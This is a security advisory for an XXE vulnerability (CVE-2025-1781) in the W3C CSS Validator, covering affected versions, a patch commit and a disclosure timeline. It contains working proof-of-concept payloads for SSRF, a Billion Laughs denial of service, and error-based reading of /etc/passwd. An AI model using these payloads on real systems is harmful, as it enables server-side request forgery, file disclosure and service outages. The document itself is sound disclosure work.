Skip to content

W3C - CSS Validator XXE

High
rcorrea35 published GHSA-745m-xmq6-g6x7 Mar 28, 2025

Package

CSS Validator (W3C)

Affected versions

< https://github.com/w3c/css-validator/commit/dfc4ca1a3b1147c60149da5df531c5a55333616f

Patched versions

https://github.com/w3c/css-validator/commit/dfc4ca1a3b1147c60149da5df531c5a55333616f

Description

Summary

All versions of W3C CSS validator are vulnerable to XXE due to unsafe parsing of XML data when untrusted XML data is passed to the DocumentParser() constructor and is not properly sanitized.

Severity

High - An attacker can use specially-crafted XML objects to coerce server-side request forgery (SSRF). On some systems, this vulnerability can be exploited to read arbitrary local files if an attacker has access to exception messages.

Proof of Concept

The following proof-of-concept sample payload will coerce the W3C Validator to make a server-side request to http://localhost:8080/pwn.xml:

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://localhost:8080/pwn.xml"> ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
	<text font-size="16" x="0" y="16">&xxe;</text>
</svg>

Exploitation can be done using the main method of css-validator.jar (download link) or when used as a library, such as in the following proof-of-concept:

import org.w3c.css.css.DocumentParser;
import org.w3c.css.util.ApplContext;

public class CssValidatorApp {

 // Example CSS URL
    private static final String CSS_URL = "http://localhost:8080/file.xml"; // Example CSS URL
    public static void main(String[] args) {
        try {
            ApplContext ac = new ApplContext("en"); // Application context with language
            ac.setCssVersion("css3"); // Set CSS version for validation
            DocumentParser parser = new DocumentParser(ac, CSS_URL);


        } catch (Exception e) {
            System.err.println("Error parsing CSS: " + e.getMessage());
        }
    }
}

The following “Billion Laughs” payload can be used to create denial-of-service conditions:

<!--?xml version="1.0" ?-->
<!DOCTYPE lolz [<!ENTITY lol "lol"><!ELEMENT lolz (#PCDATA)>
  <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<tag>&lol9;</tag>

LFI can be performed if the attacker has access to error messages or stack traces produced by the tool. The following payload will produce the output of /etc/passwd in the error message if the user has GNOME installed in the default configuration:

<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

Additional research is necessary to determine if LFI techniques can be universalized and combined with SSRF to enable data exfiltration without access to exception messages.

Further Analysis

This functionality is provided as a service on the W3C website. The vulnerability can be mitigated by uncommenting the lines that enable external entities and DTD validation.

Timeline

Date reported: 01/08/2025
Date fixed: 02/28/2025
Date disclosed: 03/28/2025

Severity

High

CVE ID

CVE-2025-1781

Weaknesses

No CWEs

Credits